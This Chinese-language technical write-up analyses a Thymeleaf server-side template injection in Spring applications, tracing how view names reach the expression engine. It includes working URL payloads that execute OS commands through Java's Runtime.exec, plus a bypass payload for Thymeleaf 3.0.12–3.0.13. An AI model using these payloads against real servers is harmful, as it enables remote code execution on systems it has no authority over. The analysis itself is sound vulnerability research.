Thymeleaf SSTI
环境搭建
下载运行
https://github.com/veracode-research/spring-view-manipulation/
Thymeleaf 版本 3.0.11
情景一

payload
1 | /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__:: |
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点调试,跟到org.springframework.web.servlet.DispatcherServlet#processDispatchResult

会将传入的ModleandView对象传进render方法,然后进入到renderFragment方法

在该方法中会判断viewTemplateName中是否存在::,如果存在会执行到
1 | fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); |

跟进去看一下,来到
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)

接着会执行StandardExpressionPreprocessor.preprocess(context, input),继续跟进到
org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess

首先要满足input(也就是模版路径)中有_,然后要满足下面的正则

接着会进入到
1 | Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED); |

继续跟进去
org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)

该处会执行我们传入的表达式并返回结果
情景二

payload
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::a.x |
处理流程和情景一大体一样,下面讨论下不一样的地方,首先访问的这个方法里没有返回值,也就是ModleandView对象应该是空的,但是为什么还能够利用呢?原因在于org.springframework.web.servlet.DispatcherServlet#doDispatch中存在着如下方法
1 | this.applyDefaultViewName(processedRequest, mv); |
跟进去

假如ModleandView对象是空的,则会将请求路径最后一位.
以及后面的内容删除,剩下的内容设置为defaultViewName, 接着就是和情景一一样向下的流程;
通过查看payload我们会发现与情景一不同的是payload末尾多了一个a.x
其中.x
是为了前面讲的删除不影响执行结果,那么a有什么作用呢,一路跟踪代码,定位到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)中

改方法是由org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess 方法调用的(见调用栈)
在49行中还会执行一下StandardExpressionPreprocessor.preprocess(context, input),也就是会执行到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression,执行一次后会返回命令执行的结果

继续跟进去来到org.thymeleaf.standard.expression.FragmentExpression#parseFragmentExpressionContent

该处是在取::
后面的值,假如取到的值是空的就会返回null,也就不会正常回显执行命令的结果,所以需要a
来填充一下使其代码正常走下去。那么其实如果不加a也是可以正常执行代码的,只不过看不到回显而已
3.0.12-3.0.13通用payload
情景一是可以的
1 | __$%7b''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7d__:: |

情景二暂时还没有方法
记录
为什么会自动删除后缀
如图

看下为什么会把.bbb删除
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点
首先会执行到该方法中的
1 | this.applyDefaultViewName(processedRequest, mv); |

一路跟进去来到
org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName
1 | public String getViewName(HttpServletRequest request) { |
接着会进入到org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath

执行到StringUtils.stripFilenameExtension(path)

会把后缀删除